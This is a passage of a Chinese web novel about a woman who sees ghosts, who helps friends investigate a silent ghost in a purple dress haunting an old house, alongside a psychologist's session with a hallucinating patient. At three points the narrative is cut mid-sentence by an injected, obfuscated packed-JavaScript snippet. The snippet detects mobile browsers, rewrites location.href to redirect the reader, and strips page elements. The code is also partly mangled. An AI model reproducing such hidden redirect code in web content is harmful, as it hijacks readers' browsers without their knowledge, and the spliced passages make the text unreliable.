江敬寒继续道:“这个世界,这个没有他的世界,还在运转。它很残酷,但也依然存在。你需要试着走出去,哪怕只是迈出一小步,呼吸一口外面的空气,感受一下,季节在更替。” “走出去?”陈归澜终于出声,“走去哪里?敬寒,我的过去你是知道的,离开过去,我一无所有。” “走去任何地方。”江敬寒看着她单薄的背影,“或者,不走去哪里,只是做点别的事,或许别的事情能让你对未来有一点期许。” 他顿了顿:“说起来,还真有件事,可能需要你帮忙。我自己……有点搞不定。” 陈归澜终于微微侧过头,用眼神投来疑问。 “是赵许一,昨天来这里找过你的。”江敬寒解释道,“他最近买了栋老房子,搬进去后就怪事不断。他说……闹鬼。” 陈归澜没什么反应。 “他找过和尚道士,没什么用。天天吓得睡不着,都快神经衰弱了。”江敬寒观察着她的反应,“我去看过一次,那屋子……确实有点不对劲,寒气很重,有种说不出的感觉,像是地缚灵。我能看不见,但无法解决。” 他看向陈归澜,目光诚恳:“归澜,你能看见。我想,或许你可以跟我一起去看看,就当散散心,换换环境。而且,如果真有什么未了的执念,困在那里,帮它解脱,不也是一件好事吗?” 陈归澜沉默着。 外面的世界,没有白越的世界,她逃避了三年。而现在,江敬寒却要她主动去接触另一个可能充满遗留物的空间。那里面,或许就有着和她一样,被时间遗忘、困在原地的魂灵。 她能吗?她还有力气去面对另一个停滞的存在吗? 她自己何尝不是被执念所困?又何尝不需要解脱? 她良久没有回答,但江敬寒知道,沉默本身,已经是一种松动。 他不再催促,只是静静地等待着,等待她自己在内心的废墟里,找到一丝迈步的勇气。 “好。”陈归澜深呼吸,“我答应你。” - “但是,我们一定要晚上过来吗?”赵许一跟在两人身后,手里握着求来的佛珠和纸符。 他真是不懂,明明白天那鬼也在,为什么这两个人非要晚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867176|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来。 “我说二位,”赵许一忍不住开口,“我们就不能白天再来吗?万一搞不定,我们到时候逃跑也更方便,实在不行我们报警,白天警察也来得快些。” 陈归澜不耐烦地推开厚重的大门,穿过空荡的大厅,径直走向楼梯。 “首先,我没感受到恶鬼的气息,最多解决不了,不可能被反杀。其次,你再跑也不可能靠两条人腿跑过鬼,不管白天还是晚上。最后,警察信你闹鬼这一套?”陈归澜说着,已经先一步踏上了楼梯。 上了二楼,还有一道橡木门。推开木门,积尘簌簌落下,在月光下像一场迷离的雪。 赵许一忍不住控诉:“其实我前两天才打扫过,但这房子就是很邪门,转眼就全是灰尘、蛛网。” 就好像他以为时间只过了五分钟,但房子里的时钟的短针已经走过十几圈。 二楼走廊像一条被遗忘的咽喉,吞没了所有光线。 赵许一打开手机的手电,白光在墙壁上划出一道惊惶的弧线。 斑驳壁纸剥落处,一双孩童的涂鸦眼睛正对着他们微笑。 “听见了吗?”江敬寒突然停住。 陈归澜清冷的声音在一片死寂中显得格外清晰:“水声。” 推开尽头的房门,月光从露台的穹顶倾泻而下,照亮荒芜。 露台很大,一半是桌椅茶几和翻倒的花盆,另一半是废弃的泳池,里面的水只剩一半,赵许一还没来得及找人清理。 陈归澜一顿。 从小到大,她见过不少鬼,车祸后五官移位、残缺不全的,落水后身体肿胀、面目全非的,火后被烧成焦炭的……要多恐怖有多恐怖。 小时候,她被困在死尸里,恐惧、无助,后来渐渐习惯了各种死状的鬼魂飘在身边。 可眼前这一个,不一样。 女鬼静立在泳池边缘,一袭紫色长裙如夜色中绽放的鸢尾花。 月光描摹着她姣好的轮廓,长发如瀑,眉眼温婉。 如果不是那根几乎看不见的鱼线深深陷进她白皙的脖颈,勒出一道触目惊心的紫痕,陈归澜几乎要以为这是哪个误入此地的活人。 “鱼线?”陈归澜喃喃。 那根细得几乎融入月光的鱼线,在她颈后打了个精巧的水手结,两端垂落,像是某种残忍的首饰,又像是她被这世间最后留下的牵绊。 赵许一看不见,但他手中的佛珠应声而断,木珠滚落一地。 “现在、”赵许一整个人抖了一下,下意识咽了咽口水,看向陈归澜,“现在能跑了吗?” “别吵。”陈归澜皱眉看着女鬼,头也不回对赵许一说道。 江敬寒顺着陈归澜的视线看过去,只看到泳池里浑浊的水随着微风在轻轻摇晃。 “归澜,有没有什么办法,让我们也能看到?” 江敬寒知道自己只能感受到鬼的存在而不能看见鬼没什么用。 陈归澜看着那女鬼,女鬼忽然微微偏头,嘴角扬起一个极浅的微笑。 笑容里没有怨毒,没有狰狞,反而带着一种近乎悲悯的温柔。她的眼神澄澈如初融的雪水,穿过弥漫的阴气,轻轻落在陈归澜身上。 5. chapter 5 陈归澜不由得怔住。 下一秒,她的身形开始变淡,像墨迹浸入宣纸般渐渐晕开,先是模糊了裙摆的轮廓,接着是垂在身侧的手,最后是那张带着笑意的脸。 空气里浮动的水汽轻轻颤动,仿佛有无形的画笔在擦拭她的存在。 没有声响,没有征兆,她就这么悄无声息地融进昏暗的光线里。 泳池的水面突然平静下来,连细小的波纹都消失了。 “她走了。”陈归澜轻声说,视线仍停留在女鬼消失的位置。 赵许一哆哆嗦嗦地从他背后探出头:“真、真走了?” 江敬寒蹙眉感受着四周:“但寒意还在。” 说明女鬼只是暂时躲起来了,但并没有彻底离开。 陈归澜终于转过头,月光恰好洒在她的侧脸。 “不是什么恶鬼,不会伤害你的性命。”陈归澜让赵许一安心,又转向江敬寒,“想看见鬼?” 江敬寒点头。 准确来说,他不是想看见鬼,而是想帮上忙。 白越的死他眼睁睁看着却无法挽回,陈归澜的凋零他依然无能为力……现在,他想尝试着补救曾经的悔恨,哪怕路很遥远。 陈归澜停顿片刻:“回去吧,我们明天再来。” “好。” - 门轴转动发出干涩的吱呀声,划破深夜的寂静。 陈归澜推开门,一股混合着消毒水和墨水的味道扑面而来。凌晨一点,纹身店里漆黑一片,只有门外惨淡的路灯勉强勾勒出前台的轮廓。 她率先走了进去,身影立刻被浓郁的黑暗吞没。 赵许一几乎是贴着江敬寒的后背挤进来的,反手就把门锁死,背靠着门板大口喘气,仿佛这样就能把泳池边的阴冷彻底关在外面。 江敬寒稍显镇定,他环顾四周,眼睛逐渐适应了黑暗。 店内空间狭长。靠墙是玻璃柜台,里面摆放着各色纹身颜料瓶,在微光下泛着幽暗的光泽。墙上贴满了密密麻麻的纹身图案手稿,奇异的图腾、写实的人物、缠绕的花卉,在黑暗中扭曲成一片片模糊的暗影,像是无数双窥探的眼睛,在黑夜里更显诡异。 陈归澜打开灯,绕过前台,走到工作区,从角落一个老旧木柜的抽屉里取出三根比寻常线香更细长的暗红色线香。她从前台抽屉拿出打火机,点燃线香,香头燃起一点猩红,袅袅腾起三缕青烟。 那烟气并不扩散,反而如同有生命般,丝丝缕缕地缠绕在一起,缓缓下沉,最终贴着地板弥漫开来,将店铺门口的区域淡淡笼罩。 一股清冷、微苦的奇异香气弥漫开来,驱散了些许从外面带进来的粘稠阴气。 “这是净尘香,”陈归澜的声音在黑暗里显得格外清晰,“能暂时隔绝外面的东西,也能定惊安神。” 赵许一这才感觉堵在胸口的那股气稍稍散了些,腿一软,瘫坐在门口的椅子上。江敬寒也靠在了柜台边,目光却落在陈归澜身上。 陈归澜对上他的视线,把线香顺手插在角落里的香炉中,转身走进休息间。 因为是姥爷留下来的房子,不用担心这寸土寸金的北城市中心昂贵的租金,陈归澜索性把一楼全部留给了纹身店,二楼、三楼、四楼都租了出去。 纹身店内除了大堂,分别有一间清理室、三间操作间和一间休息间。 从休息间出来,陈归澜手里多了两副旧眼镜。 一副金框,一副黑框。 金框眼镜看上去磨损的程度更高,镜面有些花了,黑框的则完好无损。 “戴上这眼镜,就能看见鬼了。” 江敬寒接过那副黑框眼镜。 看着手里的金框眼镜,陈归澜犹豫了一下,还是递给赵许一。 赵许一半信半疑地接过眼镜。 “我的妈呀!”赵许一戴上眼镜的瞬间,腿一软,把江敬寒撞了个趔趄,他自己则跌坐在椅子上。 这哪里是什么纹身店,这分明是…… 赵许一一手捏着眼镜腿,一手抓着椅子靠背,壮着胆子环顾四周。 纹身店里,密密麻麻挤满了鬼。 原本宽敞的空间因为那些鬼的出现显得逼仄,半透明的、形态各异的“人影”层层叠叠,几乎塞满了每一寸空隙。 离他最近的是一个穿着褪色工装的老头,半个脑袋凹陷下去,浑浊的眼珠毫无焦点地对着赵许一的方向,身体却穿透了旁边的展示柜,再旁边是一个穿着时髦连衣裙、但脖颈不自然扭曲的年轻女鬼。再远些,一个穿着旧式中山装的男人面无表情,他的腹部开着一个大洞,另一只鬼苍白的手臂恰好从那洞里穿过,漫无目的地抓挠着。 视线所及,鬼影幢幢。 有的匍匐在地,身形扁平的如同被踩过的纸人;有的紧贴着天花板倒吊下来,枯槁的长发垂落,发梢几乎要触碰到下面鬼魂的头顶;更多的则是相互穿透、挤压,构成一幅光怪陆离又令人窒息的拼图。 它们大多沉默着,只有一些细微到几乎无法捕捉的声响,像是从远处传来的呜咽,又像是年久失修的木门缓慢转动的吱呀声,弥漫在凝滞的空气里。 光线也变得怪异。 原本明亮的灯光仿佛被这些无形的存在吸收、扭曲,变得昏暗而斑驳,在鬼魂半透明的躯体上投下诡异的阴影,使得整个空间都笼罩在一片不真实的昏黄暮色之中。 赵许一感觉自己的喉咙被一只无形的手扼住,连惊呼都发不出来。 江敬寒毕竟能感知到鬼的存在,之前陈归澜的经历他也多多少少知道一些,不至于像赵许一一样被吓呆在原地,但还是心情复杂。 “归澜,你平时看到的……都是这些?” 陈归澜赶走一只占据她座位的鬼,自顾自坐下:“冰山一角。你们现在有两个选择。一,戴上眼镜习惯一下,明天我们再去看看。二,眼镜还我。” 赵许一沉浸在鬼山鬼海中没回过神来,一会儿盯着一只看起来上世纪遗留下来的浑身是枪眼的鬼,一会儿看着满地乱爬的小鬼,看着那些鬼影飘到他面前,又从他的身体穿过。一时间,他分不清是自己没有实体还是鬼没有实体。 江敬寒看了一眼赵许一,又看向陈归澜:“我们明天什么时候过去?” - 上午九点半,江敬寒准时赶到自己的心理诊所。 今天十点有个临时预约的病人,据说病情严重,他不得不来。 窗明几净的诊室内,阳光透过百叶窗,被切割成均匀的光带,落在浅灰色的地毯上。空气里有淡淡的消毒水和一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867177|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若有若无的安定人心的香氛味道。 与昨夜那间挤满鬼魂的纹身店相比,这里秩序井然,理性而宁静。 他刚换好衣服,助理便轻轻敲门,告知郑开禾先生已经到了。 “请他进来。” 郑开禾走进来时,江敬寒敏锐地捕捉到了他与半个月前相比更加憔悴,不过三十三岁的年纪,两鬓却已有了刺眼的白发,眼袋深重,像是两个沉甸甸的口袋挂在眼下,嘴唇缺乏血色,干燥起皮。 他穿着一件略显宽大的灰色夹克,身形似乎比上次更加单薄,每一步都带着一种被抽去骨头的虚弱感。 “江医生。”郑开禾的声音沙哑,但气若游丝,“实在抱歉,因为这几天病情恶化得厉害,明知道你没有时间,却还是联系你。” “郑先生,请坐。”江敬寒指向诊室内那张舒适的米白色沙发,忽略掉那些没用的寒暄,“最近有什么新情况?” 不用郑开禾说,江敬寒也看得出来,他的病严重到了什么程度。 郑开禾缓慢地坐下,身体陷进柔软的沙发里,双手却紧张地交握在膝盖上。 他摇了摇头,眼神空洞地望着地毯上的某一处光斑。 “还是……睡不着。”他顿了顿,似乎在积攒力气,“一闭上眼,就是她。有时候是以前好好的样子,有时候……有时候就是最后的样子。” 他的声音越来越低,最后几个字几乎含在喉咙里。 “最后的样子?”江敬寒的声音温和而平稳,不带任何评判,只是引导他说出更多。 郑开禾的个案,在江敬寒的记录里算不上详尽。某种意义上,这甚至可算作他职业履历上的一次“失职”,他对这位病人内心真正的症结,了解得远不够深入。 然而,结合郑开禾的家世背景,江敬寒觉得这或许情有可原,即便两人处于同一阶层,也不便知道太多。 至于他口中的她……作为心理医生,江敬寒知道自己应该问清楚,毕竟是病灶所在,但郑开禾不愿意说,他也不能严刑拷打逼他坦白,只能尽量引导。 “血……到处都是血……”郑开禾猛地抬起头,布满血丝的眼睛里是无处遁形的恐慌,他的手指不受控制地抠着沙发扶手,“江医生,我闭上眼睛,就看到……就看到那些玉兰花。” “它们一开始是洁白的,开得旺盛,挤满枝头,可下一秒,花瓣就开始蜷缩、发黑,渗出粘稠的暗红色汁液,滴滴答答……还散发出甜腻的腐败气味,混着铁锈味。突然!整棵树都在我眼前腐烂,那些花……变成了一颗颗溃烂的眼珠,死死地盯着我。”他的呼吸急促起来,身体微微后仰,像是要远离那虚幻的景象,“但是……但是在那一片白色的玉兰花中,有一朵紫色的鸢尾花……” 说到这里,他狂乱的眼神安定了一瞬,声音也柔和了下来,带着虔诚:“是我的鸢尾花。它就开在血泊中央,舒展着花瓣,周围所有的肮脏和恶心都沾染不了它,它像是在自己发光……可是,我碰不到……我每次想靠近,想触摸花瓣,它就像水中的倒影一样,轻轻一晃,就碎了……” 紧接着,他的身体前倾,攥着沙发的手也放松下来,好像他的鸢尾花就在眼前,他伸出手要去捧住他的鸢尾花。 江敬寒知道,郑开禾又出现幻觉了。 6. chapter 6 江敬寒低低叹了一口气,输入郑开禾的自述:“郑先生,之前给你开的药,有按时按量吃吗?” 郑开禾不肯去精神病院,不肯接受系统的治疗,江敬寒只能一边开药一边给他做心理疏导,让他在出现幻觉的时候意识到那是幻觉。 郑开禾忽然愣了一下。 阳光透过百叶窗的缝隙洒进来,一束金色的光落在江敬寒办公桌的花瓶上,一束颜色浅些的光落在郑开禾身上。 或许是阳光带来的温度,或许是江敬寒的声音打乱了他的思绪,郑开禾恍然意识到,鸢尾花早已凋零、飘走,他眼前的不过是虚无缥缈的回忆,是看不见摸不着的光本身。 郑开禾回过神来,眼前模糊不清的人变得清晰起来,黑衬衫、白外套…… 他的情绪有些激动,呼吸急促起来。 江敬寒没有再说话。 阳光在室内缓慢移动,光带落在了郑开禾苍白的手背上。 他絮絮叨叨地说着过去的点滴,语无伦次,时而哽咽。 江敬寒的目光审视着他憔悴的脸,他恍然想起夜里在纹身店看见的拥挤的鬼,莫名觉得,有些拥挤的存在存在于他看不见的世界,有些拥挤的存在存在于他看不见的人的内心。 或许,人心的执念,并不比那些滞留在纹身店的魂灵轻松多少。 江敬寒一边听郑开禾的故事,一边拿出陈归澜给的那副眼镜。 眼镜几乎是全新的。 江敬寒戴上眼镜。 眼镜的视角下,郑开禾双手放在身前,身体前后晃动,嘴里含糊不清地倾诉着自己的故事,没头没尾的,经常说到前年的事情,说到十年前的事情,说着说着又说到今年年初的事情,他口中的那个“她”,仿佛从十年前走到现在,又从现在走到前年,迷失在这十年流淌的时光中。 郑开禾的身旁,没有任何鬼魂,干净到诡异。 江敬寒的目光越过百叶窗的缝隙往外看,上午的阳光慷慨地倾泻,将宽阔的柏油路面镀上一层晃眼的亮白,有车开过,有人在走,也有鬼在飘。 他们像水中倒影,像阳光照射下漂浮的尘埃,镶嵌在生机勃勃的人间景象里,互不干涉,却又彼此重叠。 阳光同样穿透它们虚无的躯体,却照不亮那份固有的沉寂与苍凉。 - 赶到赵许一家的时候,已经是下午两点了。 江敬寒打开车门,看见陈归澜和赵许一站在大门口,好像闹了点矛盾,陈归澜背对着赵许一生闷气,赵许一围在旁边絮絮叨叨在说些什么,估计是在道歉,但没什么效果,陈归澜气急,往赵许一肩上捶了一拳,赵许一一个趔趄撞在门上,发出“咚”的一声。 江敬寒赶紧上前。 “没事吧?” 赵许一手反撑着门站起来,摆摆手,明显那一拳的力气全受着了,并且陈归澜的力气不小,他一时间没缓过来。 陈归澜双手抱胸站在一旁:“活该!” 江敬寒忙问:“发生什么事了?” “我的错。”赵许一连忙摆手,“是我的错。” 江敬寒看他疼得龇牙咧嘴还要强撑的样子,无奈地摇了摇头。 “先进屋吧,”江敬寒轻轻拍了拍陈归澜的肩,“站在门口像什么样子。” 陈归澜躲开他,又狠狠瞪了一眼赵许一:“你惹的麻烦,你自己解决,我就帮到这里!” 什么麻烦?江敬寒看看陈归澜,又看看赵许一。 “又有什么麻烦?” 陈归澜推开大门自顾往前走,没搭理后面两个人。 江敬寒看着陈归澜气冲冲的背影,拽住赵许一,忙问:“到底发生什么事了?” “刚才来的路上,遇到几个发调查问卷的大学生。”赵许一挠了挠后脑勺,“其中一个问题是,一辆失控的电车正向前疾驰,前方的轨道上绑着五个人,眼看就要遭遇不幸。此时,你站在一旁,手边有一个变道拉杆,如果拉动它,电车会转到另一条轨道上,但那条轨道上也绑着一个人,并且他是一个掌握着机密的重要人物。无论选择与否,都必然有人丧生。如果是你,会选择拉动拉杆,救下五个人,还是什么都不做,任由事件发生?” “电车难题?” “嗯。”赵许一叹了一口气,“我选择拉动拉杆,她选择不拉动拉杆。” 江敬寒沉默了几秒,声音低沉下来:“归澜的选择……我能理解。拉动拉杆,死的或许从命定的五个人变成无辜的那个人,但又或许,命定的就是那个无辜的人。” “那麻烦是什么?”江敬寒追问。 “麻烦是……”赵许一抬头,定了定神,“我遇到了另一个电车难题。” 赵许一像是已经习惯了身边层出不穷的灾事,平静地说出来:“在此之前,我们在纹身店,遇到了一个人,他说,他要纹身,纹他姐姐的名字。他姐姐……去世了,是被逼自杀,逼他自杀的人之一……我认识。” 后半句他没说。 被逼自杀的人,她认识。 远处城市的轮廓在薄雾中若隐若现,像一道模糊的边界。江敬寒的目光越过赵许一的肩头,落在庭院尽头那排开始凋零的绣球花上。 院子里忽然安静得可怕,只有风穿过发出的呜咽。二楼的窗帘微微晃动,像是有人刚刚从窗边离开。 “起雾了,我们赶紧进去吧。” - 走进房子的瞬间,赵许一和江敬寒戴上眼镜,房间内的景象瞬间天旋地转换了一副模样。 门内的空间弥漫着流动的彩色。 眼前的一切都在流动、扭曲,墙壁上蜿蜒着瑰丽而诡异的色带,像是活物在缓缓蠕动,色泽介于腐烂的磷光与融化的宝石之间。空气里漂浮着细碎的光屑,吸入鼻腔时带着一种甜腻的芬芳。 赵许一呼吸一紧:“这是……幻觉吗?” 江敬寒没有回答,他的视线死死盯住楼梯扶手原。坚实的木质表面,此刻覆盖着一层不断变换色彩的、半透明的薄膜,如同呼吸般微微起伏。 “不是幻觉。”江敬寒的声音干涩。 他抬起脚,踩上通往二楼的阶梯。鞋底落下的瞬间,那覆盖着阶梯的彩色流光竟微微下陷,发出一种类似吮吸的声响。他猛地收回脚,鞋底边缘拉出了几缕黏连着的光丝,在空中颤抖片刻,才不甘地融回地面。 二楼走廊的深处,那片流动的色彩愈发浓重,还在发出令人头皮发麻的嗡鸣。 赵许一感到一阵反胃。 有几天,他就是和这些不知道是什么的鬼东西一起生活。 陈归澜拉开露台的大门,露出一半身体:“这就是你们想看到的。” 她怏怏看了赵许一一眼:“过来看一眼,这女鬼,你认不认识。” 赵许一闻言赶紧快步上前。 踏入露台的瞬间,一股清凉的风迎面而来,抚过他的脸颊,他也随之看到了那女鬼。 长发飘飘,一袭紫裙,笑靥如花。 这画面猝然刺入他记忆的模糊地带,定格成一瞬凝固的影像。 “我……好像在哪里见过她。”赵许一的声音带着自己都未察觉的恍惚,他死死盯着那张巧笑嫣然的脸。 “你见过?”陈归澜追问,“你在哪里见过?你认识?还是只是见过?” “等等,我想一下……”赵许一迅速搜索自己的记忆,想到太阳穴突突也没想起来。 赵许一揉了揉眉心:“不行,想不起来。” 江敬寒上前:“记得是大致什么时候见过吗?” 又一阵微风拂过,那抹紫色在微风中轻轻摇曳,像深谷幽潭底漂动的水草,又像是无人踏足的荒野里,一株独自开合的鸢尾花。裙裾的每一次拂动都带着迟缓的韵律,仿佛时间在她周身也变得粘稠,被那无形的色彩浸染、拉长。 赵许一凝视着那抹紫,熟悉的、源自记忆深处的惊悸逐渐浮现:“……三年前,大三那年的暑假,我和几个朋友在一场派对上,玩真心话大冒险。” “然后呢?” “然后……我朋友输了,他选了大冒险,他抽到的是……给大家展示相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867178|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 册里第十张照片,照片……”赵许一将自己彻底扔进回忆里,回到那个人声鼎沸、热闹非凡的派对现场。 - 张艺航本科是在海市大学念的,后来在家里的公司干了一段时间,这期间只会吃喝玩乐,天天跟老员工吵架,家里看他没什么继承家业的能力,就把他赶到北城继续读研。 所以,三十岁的年纪,张艺航还在读研二,并且面临延毕。但他知道,自己就算不学无术,家里的公司不给他继承,他也能靠属于自己的那一份财产活得顺风顺水。 赵家也称得上北城豪门,有权有势有钱,赵许一作为赵家独子,幼年接受的教育差不多,成年培养的兴趣爱好也差不多,走不上社会精英那条路,自然能和张艺航玩儿到一起。 时隔三年,赵许一早已忘记那场派对是谁组织的、具体哪天组织的、为了什么组织的。他只记得,他本来要去机场接赛车协会的一个重量级嘉宾,但张艺航拉他去派对,他就把这个任务扔回给车队队长了。后来,他换了车队,也没关心替他去接嘉宾的人是谁。 派对现场人估计很多,灯红酒绿的,一群人围成一个圈转酒瓶子,转到谁谁就要选真心话或是大冒险。 他们这群人,很少会选真心话这种没意思的。 张艺航更是。 “航哥!航哥!”一群男男女女嘴里喊着张艺航起哄。 张艺航大手一挥:“大冒险!” 一群人争抢着从牌里抽出一张。 “给大家展示相册里第十张照片……照片!照片!” “航哥相册里该不会有我们不能看的照片吧?” “不能够,航哥敞亮人!” “航哥!航哥!” 一群人吵着闹着要看张艺航手机相册里的第十张照片,赵许一听得头昏脑胀。 可能是没吃早饭,又喝了点酒,有点不舒服。 张艺航也不是个扭捏的人,说的难听点,就算第十张是他的裸照,他也能面不改色翻出来给大家看。 张艺航掏出手机,眯着眼睛点进相册。 他相册里的照片不多,一共三百多张。 “航哥还是念旧的人啊,这照片大部分都是六年前的。” “六年前?那会儿航哥才二十三吧?大学刚毕业?” 提起六年前,张艺航不耐烦地推开旁边那人:“滚,别提年纪。” 一群人又开始打趣起来,说什么只见过女人在意自己几岁,他们一群男的只在乎银行卡里的余额几位数,听得人耳朵疼。 不过……还是头一回看见张艺航露出失意的模样。赵许一往沙发后稍了稍,歪头看张艺航的手机。 几乎全是合照,有两个人的,有三个人的,有一大群人的。 估计是他的朋友吧,也或许里面有他曾经喜欢的人。 赵许一不禁心里发笑。 说起张艺航,比他还吊儿郎当,竟然也会有交心的朋友和喜欢的人吗? 赵许一想仔细看,但张艺航翻得太快,他又头晕发昏,只瞥见时光回退,一群人影匆忙逃离。 第十张是一个三人合照。 人群闹哄着从张艺航手里拿过手机,传阅着那张三人合照。 左边站的是张艺航。那时候的张艺航还不是现在的模样,二十三岁上下的年纪,穿一件卡其色空军夹克,一张桃花泛滥的脸竟然笑得有几分悲伤。 中间的是一个比张艺航高几公分的男人,接近一米九,年纪看上去和张艺航差不多,穿一件黑色风衣外套,脖子上挂一根银项链,坠子像是一朵花,具体什么花分辨不出来,脸上笑着,却没什么笑意。 右边是一个女生,白色打底衫、紫色风衣外套、灰色长裙,黑发如瀑,笑得温婉大方,透过照片,赵许一竟然也能看出来点傲气和机灵。 看热闹不嫌事大的纷纷追问中间和右边的人是谁,但张艺航耷拉着眼皮打哈哈,说什么这是下一场游戏输了的惩罚。 他们又乐此不疲地开始转瓶子,可惜那天再也没转到过张艺航。 7. chapter 7 “照片上的人你认识吗?” 赵许一摇头:“不认识。张艺航是海市人,大学刚毕业的年纪……可能也在海市吧。” 陈归澜又问:“能联系上张艺航吗?” 赵许一想了想:“或许可以。” “什么叫或许可以?” “我跟张艺航也只是在同校的那几年有些交集。我大学毕业之后,和大学认识的朋友基本都断了联系。”赵许一省去了大学毕业之后生出把自己的爱好做大做强的故事,“留着联系方式,但他们换没换,我不确定。” 江敬寒:“既然三年前张艺航留着六年前的照片,现在也可能保留着当初的联系方式。我建议你试着联系一下,说不定我们能通过你这个朋友,找到她究竟是谁。” 赵许一犹豫着看向女鬼。 “不能直接问她吗?” 赵许一想,既然当事“鬼”就在这里,直接问不行吗?还是说,他们只能看见鬼,不能和鬼交流? 陈归澜习以为常般往后退了两步,开口:“你好,能听见我说话吗?” 女鬼偏了偏头,眨了两下眼睛,但没有开口。 “你会说话吗?” 她对上陈归澜的视线,死水般的眼底毫无波澜。 下一秒,狂风毫无征兆地平地而起,裹挟着刺骨的寒意,将整池污水搅成一个巨大的怨气涡旋,浑浊的浪头狠狠拍向四周,溅起惨白的水花。 在这狂乱的背景下,她的身影由实转虚,仿佛一个信号不良的幻影,在剧烈的闪烁中,化作几缕苍白的烟迹,如同燃烧殆尽的余烬,被风一吹,便了无痕迹。 暮色四合,那抹紫色终于凝成了时光的注脚。 当最后一丝光晕在她裙褶间融化,那摇曳的弧度渐渐停驻,如深谷幽潭平息了涟漪,又似荒野鸢尾在星夜来临前完成最后一次开合。 彩色的潮水徐徐退去,带走了粘稠的时空,只余下空气里尚未平息的韵律,还在低语着方才被拉长的瞬息。 “我试过了。这些年,我见过很多鬼。能主动找我说话的,说明他们的执念不深,我帮不帮都无所谓,人死怨消,不会影响他们的投胎转世,来主动找我但不说话的,说明有点执念,但他们完全可以自己去解决。但像这种——” 陈归澜叹了一口气:“不来找我,还不能说话的,说明执念很深,除非了却心愿,否则,他们就会像她这样,成为地缚灵一样的东西,被困在一个地方,逃不脱。” - 从赵许一家离开后,陈归澜没有直接回家或是纹身店,而是先去了一趟北城大学,她当初念大学的地方。 北城的八月,暑气未消,蝉鸣依旧聒噪。 校园里比两月前更显空旷,留校的学生三三两两,步履匆匆,躲着灼人的日头。 湖边的荷花开了大半,在烈日下有些蔫蔫的,只有湖心的黑天鹅,依旧优雅地划破水面的平静。 陈归澜走在熟悉的林荫道上,看着那些年轻而充满生机的面孔,感觉自己与这片天地之间,那层无形的隔膜愈发清晰了。 仅仅三年,却仿佛隔着一道深不见底的鸿沟。 她走向哲学系那座爬满青藤的小楼。 林守拙教授对于她的再次到访似乎并不意外。 窗台上的兰花换了一盆,依旧是青翠欲滴。 她正伏案书写着什么,见推门,便摘下眼镜,露出了然的神情。 “就知道你今天会来。水刚烧开。”她起身去拿茶杯,动作一如既往的从容,“店里不忙?” “有同事看着。” 紫砂壶升起白雾,陈归澜熟门熟路地从多宝格里取出茶叶罐。 茶香弥漫中,墙上的毕业照微微反光。那是三年前他们竞赛结束的合影,白越站在林教授左侧,手臂轻轻环着她的肩膀。 明明两人的交集因白越而起,但这个名字已经成为他们心照不宣不愿提及的词汇,压抑的氛围沉甸甸地弥漫在茶香里。 “前几天整理旧物,翻到点东西。”林教授将一个牛皮纸文件夹推到她面前,没有过多解释。 陈归澜打开,里面是几页泛黄的稿纸,上面是白越的字迹,是当初她想创业,他帮忙做的企划书草稿,其实也说不上什么草稿,一页A4纸上零零散散几个名词、几根直线,组成一张思维导图,几张A4纸拼在一起,拼成了她的梦想。可惜后来,策划的去世了,带头的也没了奋斗的心气。 白越的字迹有些潦草,旁边还有林教授用红笔写的批注。在稿纸的末尾,空白处,白越用铅笔画了一个小小的翅膀图案。 陈归澜的指尖轻轻拂过那个图案,喉头有些发紧。 她记得白越说过,如果以后有了自己的办公室,想把这个图案设计成门铃的标识,代表一种轻逸的、向上的期待。 “他总有些天马行空的想法。”林教授的声音温和,回忆起往昔,“以前总嫌他想法太多,却来不及件件落实到位。现在想想,能拥有那些纯粹思考的瞬间,本身就是珍贵的。” 陈归澜沉默着,将稿纸小心地收好。 她只是觉得胸口滞闷。 “前天去给白越扫墓了?”林教授摩挲着温热的茶杯,“我去看白越的时候,看到一束白色桔梗花,是你去看过了吧?” 陈归澜的手一抖,随机蜷起手指,将颤抖藏在茶杯后,缓缓回答:“嗯。” “最近总梦见跟他在图书馆外面吵架。”陈归澜忽然笑了,“争论海德格尔注解哪个版本更准确。” 林教授眼角的皱纹舒展开来:“他啊,第一次来办公室跟我讨论,就较真到晚上十点,上最后一节课的学生都下课了,他还不走。” 林教授的指尖轻叩桌面:“你们这些孩子,都爱在哲学里找答案。可惜,哲学里的大道理再不可反驳,人终归有感情,是感性的。” 陈归澜低头看着杯中载沉载浮的茶叶,恍惚间,仿佛又看见白越捧着厚厚的《存在与时间》,眉飞色舞地对她说:“归澜,你看,存在的本质就在于这种向死而生的决断……” 道理她都懂,可当死亡真的蛮横地带走他时,那些精妙的注解、深刻的哲思,在排山倒海的悲伤面前,苍白得不堪一击。 